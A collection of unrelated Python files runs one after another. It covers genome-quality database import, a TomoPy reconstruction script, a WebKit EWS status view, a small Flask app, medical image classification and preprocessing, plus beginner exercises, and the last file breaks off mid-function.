# -*- coding: utf-8 -*-
# __author__ = 'zhaozhigang'
# last modify: 2020.10.26

from biocluster.api.database.base import Base, report_check
import datetime
import json
from bson.son import SON
from bson.objectid import ObjectId
from pymongo import MongoClient

class GenomeQuality(Base):
    def __init__(self, bind_object):
        super(GenomeQuality, self).__init__(bind_object)
        self._project_type = "bacgenome"

    @report_check
    def add_genome_quality(self, main = None,params=None, name=None, task_id = None, project_sn = None, main_id=None):
        if main:
            if task_id is None:
                task_id = self.bind_object.sheet.id
            project_sn = project_sn if project_sn else self.bind_object.sheet.project_sn
            created_ts = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            insert_data = {
                'project_sn': project_sn,
                'task_id': task_id,
                'desc': '基因组评估主表',
                'created_ts': created_ts,
                'name': name if name else 'GenomeQuality',
                'params': json.dumps(params, sort_keys=True, separators=(',', ':')),
                'status': 'start'
            }
            collection = self.db['genome_quality']
            # 将主表名称写在这里
            main_id = collection.insert_one(insert_data).inserted_id
            collection.update({'_id': main_id}, {'$set': {'main_id': main_id}})
        else:
            if main_id is None:
                # raise Exception("main为False时需提供main_id!")
                self.bind_object.set_error("main为False时需提供main_id!", code="51401101")
            if not isinstance(main_id, ObjectId):
                main_id = ObjectId(main_id)
        return main_id

    def add_genome_quality_detail(self, task_id, type, project_sn = None, main_id=None, params=None, name=None):
        if task_id is None:
            task_id = self.bind_object.sheet.id
        params = {"task_id":task_id}
        project_sn = project_sn if project_sn else self.bind_object.sheet.project_sn
        created_ts = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        insert_data = {
                'project_sn': project_sn,
                'task_id': task_id,
                'desc': '基因组评估主表',
                'created_ts': created_ts,
                'name': name if name else 'GenomeQuality',
                'params': json.dumps(params, sort_keys=True, separators=(',', ':')),
                'status': 'start'
        }
        collection = self.db['genome_quality']
        # 将主表名称写在这里
        main_id = collection.insert_one(insert_data).inserted_id
        collection.update({'_id': main_id}, {'$set': {'main_id': main_id}})

        data_list = []
        collection_detail = self.db['genome_quality_detail']
        if type == "uncomplete":
            genome_size_main = self.db.datastat
            genome_size_detail = self.db.datastat_summary
            scaffold_num_main = self.db.assemble
            scaffold_num_detail = self.db.assemble_detail
            gene_num_main = self.db.gene_predict
            gene_num_detail = self.db.gene_predict_specimen
            genome_size_main_data = []
            genome_size_detail_data = []
            scaffold_num_main_data = []
            scaffold_num_detail_data = []
            gene_num_main_data = []
            gene_num_detail_data = []
            sample_id = []
            information = []

            # genome_size 提取
            genome_main_data = genome_size_main.find({"task_id": task_id})
            for i in genome_main_data:
                genome_size_main_data.append(i)
            genome_detail = genome_size_detail.find({"datastat_id": genome_size_main_data[0]["main_id"]})
            for i in genome_detail:
                genome_size_detail_data.append(i)
            if len(genome_size_detail_data) == 0:
                size = 0
            else:
                size = 1
            # scaffold数量提取
            scaffold_main = scaffold_num_main.find({"task_id": task_id})
            for i in scaffold_main:
                scaffold_num_main_data.append(i)
            scaffold_detail = scaffold_num_detail.find({"assemble_id": scaffold_num_main_data[-1]["main_id"]})
            for i in scaffold_detail:
                scaffold_num_detail_data.append(i)
            for i in range(len(scaffold_num_detail_data)):
                if scaffold_num_detail_data[i]["specimen_id"] not in sample_id:
                    sample_id.append(scaffold_num_detail_data[i]["specimen_id"])
            # gene 数量提取
            gene_main = gene_num_main.find({"task_id": task_id})
            for i in gene_main:
                gene_num_main_data.append(i)
            gene_detail_data = gene_num_detail.find({"predict_id": gene_num_main_data[-1]["main_id"]})
            for i in gene_detail_data:
                gene_num_detail_data.append(i)
            for i in sample_id:
                if size:
                    for a in range(len(genome_size_detail_data)):
                        if genome_size_detail_data[a]["specimen_id"] == i:
                            information.append(i)
                            information.append(str(float(genome_size_detail_data[a]["g_size"])/(1000*1000)))
                            break
                else:
                    information.append(i)
                    information.append("-")
                for b in range(len(scaffold_num_detail_data)):
                    if scaffold_num_detail_data[b]["specimen_id"] == i:
                        information.append(scaffold_num_detail_data[b]["scaf_no"])
                        break
                for c in range(len(gene_num_detail_data)):
                    if gene_num_detail_data[c]["specimen_id"] == i:
                        information.append(gene_num_detail_data[c]["num"])
                        information.append(gene_num_detail_data[c]["aver_base"])
                        break
                if (1 <= float(information[1]) <= 10) and (1 <= int(information[2]) <= 100) and (
                        1000 <= float(information[3]) <= 10000) and (800 <= float(information[4]) <= 1200):
                    information.append("yes")
                else:
                    information.append("no")
                data = {
                    "quality_id": main_id,
                    "specimen_id": information[0],
                    "genome_size": information[1],
                    "scaffold_num": information[2],
                    "cds_num": information[3],
                    "cds_average_len": information[4],
                    "normal": information[5]
                    }
                information = []
                data_son = SON(data)
                data_list.append(data_son)
        else:
            genome_size_main = self.db.datastat
            genome_size_detail = self.db.datastat_summary
            chr_num_main = self.db.assemble
            chr_num_detail = self.db.assemble_detail
            gene_num_main = self.db.gene_predict
            gene_num_detail = self.db.gene_predict_specimen
            gene0001_main = self.db.anno_summary
            gene0001_detail = self.db.anno_summary_detail
            genome_size_main_data = []
            genome_size_detail_data = []
            chr_num_main_data = []
            chr_num_detail_data = []
            gene_num_main_data = []
            gene_num_detail_data = []
            sample_id = []
            gene0001_data = []
            print(task_id)
            # genome_size 提取
            genome_main_data = genome_size_main.find({"task_id": task_id})
            for i in genome_main_data:
                genome_size_main_data.append(i)
            if genome_size_main_data:
                genome_detail = genome_size_detail.find({"datastat_id": genome_size_main_data[0]["main_id"]})
                for i in genome_detail:
                    genome_size_detail_data.append(i)
            if len(genome_size_detail_data) == 0:
                size = 0
            else:
                size = 1
            # chr和plas数量提取
            chr_main = chr_num_main.find({"task_id": task_id})
            for i in chr_main:
                chr_num_main_data.append(i)
            chr_detail = chr_num_detail.find({"assemble_id": chr_num_main_data[-1]["main_id"]})
            for i in chr_detail:
                chr_num_detail_data.append(i)
            for i in range(len(chr_num_detail_data)):
                if chr_num_detail_data[i]["specimen_id"] not in sample_id:
                    sample_id.append(chr_num_detail_data[i]["specimen_id"])
            # gene 数量提取
            gene_main = gene_num_main.find({"task_id": task_id})
            for i in gene_main:
                gene_num_main_data.append(i)
            gene_detail_data = gene_num_detail.find({"predict_id": gene_num_main_data[-1]["main_id"]})
            for i in gene_detail_data:
                gene_num_detail_data.append(i)
            for i in sample_id:
                information = []
                if size:
                    for a in range(len(genome_size_detail_data)):
                        if genome_size_detail_data[a]["specimen_id"] == i:
                            information.append(i)
                            information.append(str(float(genome_size_detail_data[a]["g_size"])/(1000*1000)))
                            break
                else:
                    information.append(i)
                    information.append("-")
                for b in range(len(chr_num_detail_data)):
                    if chr_num_detail_data[b]["specimen_id"] == i:
                        information.append(chr_num_detail_data[b]["chr_no"])
                        information.append(chr_num_detail_data[b]["pla_no"])
                        break
                for c in range(len(gene_num_detail_data)):
                    if gene_num_detail_data[c]["specimen_id"] == i:
                        information.append(gene_num_detail_data[c]["num"])
                        information.append(gene_num_detail_data[c]["aver_base"])
                        break
                result = list(gene0001_main.find({"task_id": task_id}))
                main_id1 = result[0]['main_id']
                gene0001tmp = list(gene0001_detail.find(
                    {"summary_id": main_id1, "gene_id": "gene0001", "specimen_id": i}))
                if len(gene0001tmp) >0:
                    if gene0001tmp[0]["gene_name"] == "dnaA":
                        information.append("yes")
                    else:
                        information.append("no")
                else:
                    information.append("no")
                if size:
                    if 1 <= float(information[1]) <= 10 and (0 <= int(information[2]) <= 3) and (
                            0 <= int(information[3]) <= 10) and (1000 <= float(information[4]) <= 10000) and (
                            800 <= float(information[5]) <= 1200) and information[6] == "yes":
                        information.append("yes")
                    else:
                        information.append("no")
                else:
                    if (str(information[1]) == "-" and (0 <= int(information[2]) <= 3) and (
                            0 <= int(information[3]) <= 10) and (1000 <= float(information[4]) <= 10000) and (
                            800 <= float(information[5]) <= 1200) and information[6] == "yes"):
                        information.append("yes")
                    else:
                        information.append("no")
                data = {
                    "quality_id": main_id,
                    "specimen_id": information[0],
                    "genome_size": information[1],
                    "chromosome_num": information[2],
                    "plasmid_num": information[3],
                    "cds_num": information[4],
                    "cds_average_len": information[5],
                    "first_gene": information[6],
                    "normal": information[7]
                }
                data_son = SON(data)
                data_list.append(data_son)
        try:
            collection_detail.insert_many(data_list)
            s_collection = self.db['genome_quality']
            s_collection.update({'_id': main_id}, {'$set': {'main_id': main_id, 'status': 'end'}})
        except Exception as e:
            print("error")
            self.bind_object.logger.error("导入genome_quality_detail%s信息出错:%s" % (task_id, e))
        else:
            print("ok")
            self.bind_object.logger.info("导入genome_quality_detail%s信息成功!" % task_id)

if __name__ == "__main__":
    a = GenomeQuality(None)
    #task_id = "majorbio_236401"
    #project_sn = "test01"
    #a.add_genome_quality(main="123",project_sn="234",task_id="tsg_36243",params="123456")
    #a.add_genome_quality_detail("tsg_37312", "uncomplete")
    #a.add_genome_quality_detail("tsg_34765", "complete",main_id= insert_id)


prompt = "\nPlease enter a series of pizza toppings:"
prompt += "\n(Enter 'quit' when you are finished.) "

while True:
    toppings = input(prompt)

    if toppings == 'quit':
        break
    else:
        print(f"You'll add {toppings.lower()} to their pizza!")

Python Crash Course/Part I - Basics/Chapter 7 - User Input and While Loops/Solutions/04_exercise.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
TomoPy example script to reconstruct TXM data iteratively
in chuck of sinogrmas. This function is for reconstructing large
data on limited memory computers.
"""

from __future__ import print_function
import tomopy
import dxchange

if __name__ == '__main__':

    # Set path to the micro-CT data to reconstruct
    fname = 'data_dir/sample.h5'

    # Select sinogram range to reconstruct.
    start = 512
    end = 2048

    # Set number of data chunks for the reconstruction.
    chunks = 64
    num_sino = (end - start) // chunks

    for m in range(chunks):
        sino_start = start + num_sino * m
        sino_end = start + num_sino * (m + 1)

        # Read APS 32-ID raw data.
        proj, flat, dark, theta = dxchange.read_aps_32id(fname, sino=(sino_start, sino_end))

        # If data collection angles is not defined in the hdf file then set it as equally spaced between 0-180 degrees.
        if (theta is None):
            theta = tomopy.angles(proj.shape[0])
        else:
            pass

        # Flat-field correction of raw data.
        proj = tomopy.normalize(proj, flat, dark)

        proj = tomopy.minus_log(proj)

        # Reconstruct object using Gridrec algorithm.
        rec = tomopy.recon(proj, theta, center=rot_center, algorithm='gridrec')

        # Write data as stack of TIFs.
        dxchange.write_tiff_stack(rec, fname='recon_dir/recon', start=sino_start)


from __future__ import unicode_literals

import datetime
import re

from django.http import HttpResponse
from django.shortcuts import render
from django.utils import timezone
from django.views import View
from django.views.decorators.clickjacking import xframe_options_exempt
from ews.common.buildbot import Buildbot
from ews.models.build import Build
from ews.models.patch import Patch
import ews.config as config

class StatusBubble(View):
    # These queue names are from shortname in https://trac.webkit.org/browser/webkit/trunk/Tools/BuildSlaveSupport/ews-build/config.json
    # FIXME: Auto-generate this list https://bugs.webkit.org/show_bug.cgi?id=195640
    ALL_QUEUES = ['style', 'ios', 'ios-sim', 'mac', 'mac-debug', 'gtk', 'wpe', 'wincairo',
                  'ios-wk2', 'mac-wk1', 'mac-wk2', 'mac-debug-wk1', 'api-ios', 'api-mac', 'bindings', 'jsc', 'webkitperl', 'webkitpy', 'win', 'services']
    ENABLED_QUEUES = ['style', 'ios', 'ios-sim', 'mac', 'mac-debug', 'gtk', 'wpe', 'wincairo',
                      'ios-wk2', 'mac-wk1', 'mac-wk2', 'mac-debug-wk1', 'api-ios', 'api-mac', 'bindings', 'webkitperl', 'webkitpy', 'services']
    # FIXME: Auto-generate the queue's trigger relationship
    QUEUE_TRIGGERS = {
        'api-ios': 'ios-sim',
        'ios-wk2': 'ios-sim',
        'api-mac': 'mac',
        'mac-wk1': 'mac',
        'mac-wk2': 'mac',
        'mac-debug-wk1': 'mac-debug',
    }

    STEPS_TO_HIDE = ['^Archived built product$', '^Uploaded built product$', '^Transferred archive to S3$',
                     '^Archived test results$', '^Uploaded test results$', '^Extracted test results$',
                     '^Downloaded built product$', '^Extracted built product$',
                     '^Cleaned and updated working directory$', '^Checked out required revision$', '^Updated working directory$',
                     '^Validated patch$', '^Killed old processes$', '^Configured build$', '^OS:.*Xcode:', '(skipped)',
                     '^Printed configuration$', '^Checked patch relevance$']
    DAYS_TO_CHECK = 3
    BUILDER_ICON = u'\U0001f6e0'
    TESTER_ICON = u'\U0001f52c'

    def _build_bubble(self, patch, queue, hide_icons=False):
        bubble = {
            'name': queue,
        }
        if hide_icons == False:
            if self._is_tester_queue(queue):
                bubble['name'] = StatusBubble.TESTER_ICON + '  ' + bubble['name']
            if self._is_builder_queue(queue):
                bubble['name'] = StatusBubble.BUILDER_ICON + '  ' + bubble['name']

        builds, is_parent_build = self.get_all_builds_for_queue(patch, queue, self._get_parent_queue(queue))
        build = None
        if builds:
            build = builds[0]
        if not self._should_show_bubble_for_build(build):
            return None

        if not build:
            bubble['state'] = 'none'
            queue_position = self._queue_position(patch, queue, self._get_parent_queue(queue))
            bubble['queue_position'] = queue_position
            if not queue_position:
                return None
            bubble['details_message'] = 'Waiting in queue, processing has not started yet.\n\nPosition in queue: {}'.format(queue_position)
            return bubble

        bubble['url'] = 'https://{}/#/builders/{}/builds/{}'.format(config.BUILDBOT_SERVER_HOST, build.builder_id, build.number)
        builder_full_name = build.builder_name.replace('-', ' ')

        if build.result is None:  # In-progress build
            if self._does_build_contains_any_failed_step(build):
                bubble['state'] = 'provisional-fail'
            else:
                bubble['state'] = 'started'
            bubble['details_message'] = 'Build is in-progress. Recent messages:' + self._steps_messages_from_multiple_builds(builds)
        elif build.result == Buildbot.SUCCESS:
            if is_parent_build:
                if patch.modified < (timezone.now() - datetime.timedelta(days=StatusBubble.DAYS_TO_CHECK)):
                    # Do not display bubble for old patch for which no build has been reported on given queue.
                    # Most likely the patch would never be processed on this queue, since either the queue was
                    # added after the patch was submitted, or build request for that patch was cancelled.
                    return None
                bubble['state'] = 'started'
                bubble['details_message'] = 'Build is in-progress. Recent messages:' + self._steps_messages_from_multiple_builds(builds) + '\n\nWaiting to run tests.'
            else:
                bubble['state'] = 'pass'
                bubble['details_message'] = 'Pass'
        elif build.result == Buildbot.WARNINGS:
            bubble['state'] = 'pass'
            bubble['details_message'] = 'Warning' + self._steps_messages_from_multiple_builds(builds)
        elif build.result == Buildbot.FAILURE:
            bubble['state'] = 'fail'
            bubble['details_message'] = self._most_recent_step_message(build)
        elif build.result == Buildbot.SKIPPED:
            bubble['state'] = 'none'
            bubble['details_message'] = 'The patch is no longer eligible for processing.'
            if re.search(r'Bug .* is already closed', build.state_string):
                bubble['details_message'] += ' Bug was already closed when EWS attempted to process it.'
            elif re.search(r'Patch .* is marked r-', build.state_string):
                bubble['details_message'] += ' Patch was already marked r- when EWS attempted to process it.'
            elif re.search(r'Patch .* is obsolete', build.state_string):
                bubble['details_message'] += ' Patch was obsolete when EWS attempted to process it.'

        elif build.result == Buildbot.EXCEPTION:
            bubble['state'] = 'error'
            bubble['details_message'] = 'An unexpected error occured. Recent messages:' + self._steps_messages_from_multiple_builds(builds)
        elif build.result == Buildbot.RETRY:
            bubble['state'] = 'provisional-fail'
            bubble['details_message'] = 'Build is being retried. Recent messages:' + self._steps_messages_from_multiple_builds(builds)
        elif build.result == Buildbot.CANCELLED:
            bubble['state'] = 'fail'
            bubble['details_message'] = 'Build was cancelled. Recent messages:' + self._steps_messages_from_multiple_builds(builds)
        else:
            bubble['state'] = 'error'
            bubble['details_message'] = 'An unexpected error occured. Recent messages:' + self._steps_messages_from_multiple_builds(builds)

        if 'details_message' in bubble:
            bubble['details_message'] = builder_full_name + '\n\n' + bubble['details_message']
            os_details = self.get_os_details(build)
            timestamp = self.get_build_timestamp(build)
            if os_details:
                bubble['details_message'] += '\n\n' + os_details + '\n' + timestamp
            else:
                bubble['details_message'] += '\n\n' + timestamp

        return bubble

    def _is_tester_queue(self, queue):
        icon = Buildbot.icons_for_queues_mapping.get(queue)
        return icon in ['testOnly', 'buildAndTest']

    def _is_builder_queue(self, queue):
        icon = Buildbot.icons_for_queues_mapping.get(queue)
        return icon in ['buildOnly', 'buildAndTest']

    def _get_parent_queue(self, queue):
        return StatusBubble.QUEUE_TRIGGERS.get(queue)

    def get_os_details(self, build):
        for step in build.step_set.all():
            if step.state_string.startswith('OS:'):
                return step.state_string
        return ''

    def get_build_timestamp(self, build):
        if build.complete_at:
            return self._iso_time(build.complete_at)

        recent_build_step = build.step_set.last()
        if recent_build_step:
            return self._iso_time(recent_build_step.started_at)

        return self._iso_time(build.started_at)

    def _iso_time(self, time):
        return '[[' + datetime.datetime.fromtimestamp(time).isoformat() + 'Z]]'

    def _steps_messages(self, build):
        return '\n'.join([step.state_string for step in build.step_set.all().order_by('uid') if self._should_display_step(step)])

    def _steps_messages_from_multiple_builds(self, builds):
        message = ''
        for build in reversed(builds):
            message += '\n\n' + self._steps_messages(build)
        return message

    def _should_display_step(self, step):
        return not filter(lambda step_to_hide: re.search(step_to_hide, step.state_string), StatusBubble.STEPS_TO_HIDE)

    def _does_build_contains_any_failed_step(self, build):
        for step in build.step_set.all():
            if step.result and step.result != Buildbot.SUCCESS and step.result != Buildbot.WARNINGS and step.result != Buildbot.SKIPPED:
                return True
        return False

    def _most_recent_step_message(self, build):
        recent_step = build.step_set.last()
        if not recent_step:
            return ''
        return recent_step.state_string

    def get_latest_build_for_queue(self, patch, queue, parent_queue=None):
        builds, is_parent_build = self.get_all_builds_for_queue(patch, queue, parent_queue)
        if not builds:
            return (None, None)
        return (builds[0], is_parent_build)

    def get_all_builds_for_queue(self, patch, queue, parent_queue=None):
        builds = self.get_builds_for_queue(patch, queue)
        is_parent_build = False
        if not builds and parent_queue:
            builds = self.get_builds_for_queue(patch, parent_queue)
            is_parent_build = True
        if not builds:
            return (None, None)
        builds.sort(key=lambda build: build.started_at, reverse=True)
        return (builds, is_parent_build)

    def get_builds_for_queue(self, patch, queue):
        return [build for build in patch.build_set.all() if build.builder_display_name == queue]

    def find_failed_builds_for_patch(self, patch_id):
        patch = Patch.get_patch(patch_id)
        if not patch:
            return []
        failed_builds = []
        for queue in StatusBubble.ALL_QUEUES:
            build, _ = self.get_latest_build_for_queue(patch, queue)
            if not build:
                continue
            if build.result in (Buildbot.FAILURE, Buildbot.EXCEPTION, Buildbot.CANCELLED):
                failed_builds.append(build)
        return failed_builds

    def _should_show_bubble_for_build(self, build):
        if build and build.result == Buildbot.SKIPPED and re.search(r'Patch .* doesn\'t have relevant changes', build.state_string):
            return False
        return True

    def _should_show_bubble_for_queue(self, queue):
        return queue in StatusBubble.ENABLED_QUEUES

    def _queue_position(self, patch, queue, parent_queue=None):
        # FIXME: Handle retried builds and cancelled build-requests as well.
        from_timestamp = timezone.now() - datetime.timedelta(days=StatusBubble.DAYS_TO_CHECK)

        if patch.modified < from_timestamp:
            # Do not display bubble for old patch for which no build has been reported on given queue.
            # Most likely the patch would never be processed on this queue, since either the queue was
            # added after the patch was submitted, or build request for that patch was cancelled.
            return None

        previously_sent_patches = set(Patch.objects
                                          .filter(modified__gte=from_timestamp)
                                          .filter(sent_to_buildbot=True)
                                          .filter(obsolete=False)
                                          .filter(modified__lt=patch.modified))
        if parent_queue:
            recent_builds_parent_queue = Build.objects \
                                             .filter(modified__gte=from_timestamp) \
                                             .filter(builder_display_name=parent_queue)
            processed_patches_parent_queue = set([build.patch for build in recent_builds_parent_queue])
            return len(previously_sent_patches - processed_patches_parent_queue) + 1

        recent_builds = Build.objects \
                            .filter(modified__gte=from_timestamp) \
                            .filter(builder_display_name=queue)
        processed_patches = set([build.patch for build in recent_builds])
        return len(previously_sent_patches - processed_patches) + 1

    def _build_bubbles_for_patch(self, patch, hide_icons=False):
        show_submit_to_ews = True
        failed_to_apply = False  # TODO: https://bugs.webkit.org/show_bug.cgi?id=194598
        bubbles = []

        if not (patch and patch.sent_to_buildbot):
            return (None, show_submit_to_ews, failed_to_apply)

        for queue in StatusBubble.ALL_QUEUES:
            if not self._should_show_bubble_for_queue(queue):
                continue

            bubble = self._build_bubble(patch, queue, hide_icons)
            if bubble:
                show_submit_to_ews = False
                bubbles.append(bubble)

        return (bubbles, show_submit_to_ews, failed_to_apply)

    @xframe_options_exempt
    def get(self, request, patch_id):
        hide_icons = request.GET.get('hide_icons', False)
        patch_id = int(patch_id)
        patch = Patch.get_patch(patch_id)
        bubbles, show_submit_to_ews, show_failure_to_apply = self._build_bubbles_for_patch(patch, hide_icons)

        template_values = {
            'bubbles': bubbles,
            'patch_id': patch_id,
            'show_submit_to_ews': show_submit_to_ews,
            'show_failure_to_apply': show_failure_to_apply,
        }
        return render(request, 'statusbubble.html', template_values)


from flask import Flask, render_template, url_for
from database import Database
from dbhelper import dbhelper

app = Flask(__name__)

@app.route('/')
def index():
    dbhelper.initDB()
    def db_query():
        db = Database()
        prods = db.list_products()
        return prods
    res = db_query()
    return render_template('index.html', result=res, content_type='application/json')

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0')


from __future__ import print_function, division
import os
import torch
from torch import nn,optim
import torch.nn.functional as F
import pandas as pd
import numpy as np
from torch.utils.data import Dataset, DataLoader
from torchvision import transforms, utils

import pretrainedmodels
import torch
import pretrainedmodels.utils as utils

from sklearn.metrics import classification_report
from sklearn.metrics import confusion_matrix
from sklearn.metrics import roc_curve,auc
import matplotlib.pyplot as plt
from PIL import Image

device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

#----------------model define-----------------
model_name = 'pnasnet5large'
print(pretrainedmodels.pretrained_settings['pnasnet5large'])
model = pretrainedmodels.__dict__[model_name](num_classes=6, pretrained=None)
model.to(device)
print(model)

# model.load_state_dict(torch.load("./checkpoint/pnasnet_100_0.8644578313253012.pth"))
model.load_state_dict(torch.load("./checkpoint/pnasnet_100_0.8644578313253012.pth"))
model.eval()

def get_label(file):
    if "mc" in file:
        label = 0
    elif "sj" in file:
        label = 1
    elif "hj" in file:
        label = 2
    elif "jj" in file:
        label = 3
    elif "zc" in file:
        label = 4
    elif "wz" in file:
        label = 5

    return label

files = os.listdir("./data/test")

real_labels = []
pred_labels = []
pred_probs = []

for file in files:
    real_labels.append(get_label(file))

    path_img = "./data/test/"+file

    img_1 = Image.open(path_img)
    longer_side = max(img_1.size)
    horizontal_padding = (longer_side - img_1.size[0]) / 2
    vertical_padding = (longer_side - img_1.size[1]) / 2
    img_1 = img_1.crop((-horizontal_padding,
        -vertical_padding,
        img_1.size[0] + horizontal_padding,
        img_1.size[1] + vertical_padding))
    img_1 = img_1.resize((331,331),Image.BICUBIC)
    img_2 = transforms.ToTensor()(img_1)
    img_2 = transforms.Normalize((0.5,0.5,0.5), (0.5,0.5,0.5))(img_2)

    input_tensor = img_2.unsqueeze(0) # 3x331x331 -> 1x3x331x331
    input_tensor = input_tensor.to(device)

    output_logits = model(input_tensor) # 1x6

    output_prob = F.softmax(output_logits,dim =1).detach().cpu() #对每一行进行softmax
    output_prob =output_prob.numpy() #对每一行进行softmax

    pred_label = np.argmax(output_logits.detach().cpu()).item()
    pred_labels.append(pred_label)
    pred_probs.append(np.max(output_prob))
    print("{} | {} | {}".format(file,pred_label,np.max(output_prob)))

target_names = ["盲肠","升结肠","横结肠","降结肠","直肠","未知"]

print("-----classification_report-----")
print(classification_report(real_labels,pred_labels,target_names=target_names))

print("----confusion_matrix-----")
cm = confusion_matrix(y_true=real_labels,y_pred=pred_labels)
print(cm)

print("------acc---------")
totalPic = np.sum(cm)
for i in range(6):
    print("%10s = %.4f"%(target_names[i]+" acc",(totalPic-np.sum(cm[:,i])-np.sum(cm[i,:])+2*cm[i,i]) / totalPic))

print("----------Sensitivity / Specificity-----------")
print("%10s%15s%15s"%("","Sensitivity","Specificity"))
for i in range(6):
    rsum = np.sum(cm[i,:])
    print("%10s%12.2f\t%12.2f"%(target_names[i],cm[i,i]/rsum,1-(np.sum(cm[:,i])-cm[i,i])/(totalPic-rsum)))

print("------阴/阳性预测值----------")
print("%10s%10s%10s"%("","阳性预测值","阴性预测值"))
for i in range(len(target_names)):
    pN = totalPic - np.sum(cm[:,i])
    print("%10s%12.2f\t%12.2f"%(target_names[i],cm[i,i]/np.sum(cm[:,i]),(pN-np.sum(cm[i,:])+cm[i,i])/pN))


import matplotlib.pyplot as plt
days=[1,2,3,4,5]
max=[44,77,30,54,83]
min=[10,20,30,40,50]
plt.plot(days,max,color="red")
plt.plot(days,min,color="yellow")
plt.xlabel('Days')
plt.ylabel('Temprature')
plt.title('Weatherinfo')
plt.legend(loc="best",shadow="true",fontsize="large")
plt.savefig("Weather.png")
plt.show()


import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.ensemble import ExtraTreesRegressor

import pickle
import warnings
warnings.filterwarnings('ignore')

from preprocessing import preprocessing

# load data
data_raw=pd.read_csv("./data/Train.csv")

# preprocess data
data = preprocessing(data_raw, use_location=False, only_means=False)

# split data into X and Y
X = data.drop('target', axis=1)
y = data['target']

# split into train and test
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=42)

# save data
print("Saving data in the data folder")
X_test.to_csv("data/X_test.csv", index=False)
y_test.to_csv("data/y_test.csv", index=False)
X_train.to_csv("data/X_train.csv", index=False)
y_train.to_csv("data/y_train.csv", index=False)

# model
print("Training Extra Trees Regressor")
reg = ExtraTreesRegressor(n_estimators=400, max_depth=50, max_features= 'log2', random_state=42)
reg.fit(X_train, y_train)

#saving the model
print("Saving model in the model folder")
filename = 'models/ExtraTrees_model.sav'
pickle.dump(reg, open(filename, 'wb'))


"""Given a linked list, reverse the nodes of a linked list k at a time and return its modified list"""

from Linked_List import BasicOperations

def reverse_k_nodes(head, k):
    prev = None
    current = head
    forward = None
    count = 0
    while count < k and current is not None:
        forward = current.next
        current.next = prev
        prev = current
        current = forward
        count += 1
    if current is not None:
        head.next = reverse_k_nodes(current, k)
    return prev

if __name__ == '__main__':
    link_list = BasicOperations.LinkedList()
    link_list.insert_values([4,2,8,3,1,7,5,6])
    link_list.display()
    print("After reversing K nodes at a time")
    link_list.head = reverse_k_nodes(link_list.head, 3)
    link_list.display()


# -*- coding: utf-8 -*-
"""
Created on Sat Jan 18 12:24:18 2020

@author: CEC
"""

def fibon (n):
    a, b = 0,1
    while a < n:
        print(a, end=' ')
        a, b = b, a+b     #a=b ; b= a+b es asignación múltiple
    print()
#fibon(8000)


import pickle
import numpy as np
import h5py
import data_loader
from settings import *

def create_hdf5_files(top_level_dir: str, output_dir: str, output_name=None):
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    if output_name is None:
        output_name = ORIGINAL_FILE_NAME

    # load train data
    LOGGER.info("loading train data")
    train_dir = os.path.join(top_level_dir, "training")
    sets = ['HGG', 'LGG']

    for each_set in sets:
        LOGGER.info(each_set)
        set_dir = os.path.join(train_dir, each_set)
        num_patients, patient_list, patient_dir_list = data_loader.detect_sample_dir(set_dir)
        # create the h5 file according to the number of the samples
        hdf5_file = h5py.File(os.path.join(output_dir, output_name + "_" + each_set + '.h5'), mode='w')
        grp = hdf5_file.create_group("original")
        grp.create_dataset("training_data",
                           (num_patients, 4, SPATIAL_SIZE_FOR_PREPROCESSING[0], SPATIAL_SIZE_FOR_PREPROCESSING[1], NUM_SLICES),
                           np.float32)
        grp.create_dataset("training_data_pat_name", (num_patients,), dtype='S100')
        grp.create_dataset("training_data_segmasks",
                           (num_patients, SPATIAL_SIZE_FOR_PREPROCESSING[0], SPATIAL_SIZE_FOR_PREPROCESSING[1], NUM_SLICES),
                           np.int16)
        hdf5_file_original = hdf5_file["original"]

        count_patients = 0
        for each_patient_dir in patient_dir_list:
            img, label, segmask = data_loader.load_patient(patient_list[count_patients], each_patient_dir,
                                                           SPATIAL_SIZE_FOR_PREPROCESSING, 4, NUM_SLICES)
            hdf5_file_original['training_data'][count_patients, ...] = img
            hdf5_file_original['training_data_segmasks'][count_patients, ...] = segmask
            hdf5_file_original['training_data_pat_name'][count_patients] = patient_list[count_patients].split('/')[
                -1].encode('utf-8')
            count_patients += 1

        # close the file to save memory
        # print(hdf5_file['original']['training_data'][0, 0])
        hdf5_file.close()

    # load validation data
    LOGGER.info("loading validation data")
    validation_dir = os.path.join(top_level_dir, "validation")
    num_patients, patient_list, patient_dir_list = data_loader.detect_sample_dir(validation_dir)
    # create the h5 file according to the number of the samples
    hdf5_file = h5py.File(os.path.join(output_dir, output_name + "_validation" + '.h5'), mode='w')
    grp = hdf5_file.create_group("original")
    grp.create_dataset("validation_data",
                       (num_patients, 4, SPATIAL_SIZE_FOR_PREPROCESSING[0], SPATIAL_SIZE_FOR_PREPROCESSING[1], NUM_SLICES),
                       np.float32)
    grp.create_dataset("validation_data_pat_name", (num_patients,), dtype='S100')
    hdf5_file_original = hdf5_file["original"]
    count_patients = 0

    for each_patient_dir in patient_dir_list:
        img, label, segmask = data_loader.load_patient(patient_list[count_patients], each_patient_dir,
                                                       SPATIAL_SIZE_FOR_PREPROCESSING, 4, NUM_SLICES)
        hdf5_file_original['validation_data'][count_patients, ...] = img
        hdf5_file_original['validation_data_pat_name'][count_patients] = patient_list[count_patients].split('/')[
            -1].encode(
            'utf-8')
        count_patients += 1

    # close the file to save memory
    hdf5_file.close()

def preprocess(read_dir: str, output_dir=None, read_name=None, output_name=None, mean_var_name=None):
    if output_dir is None:
        output_dir = read_dir
    if read_name is None:
        read_name = ORIGINAL_FILE_NAME
    if output_name is None:
        output_name = PREPROCESSED_FILE_NAME
    if mean_var_name is None:
        mean_var_name = MEAN_VAR_NAME

    LOGGER.info("start preprocessing")

    # preprocess training data (HGG and LGG)
    LOGGER.info("preprocess training data")
    sets = ["HGG", "LGG"]
    for each_set in sets:
        LOGGER.info("fetch %s dataset" % each_set)
        # create preprocessed file
        preprocessed_hdf5_file = h5py.File(os.path.join(read_dir, output_name + "_" + each_set + '.h5'), mode='w')
        preprocessed_grp = preprocessed_hdf5_file.create_group("preprocessed")

        # open original file
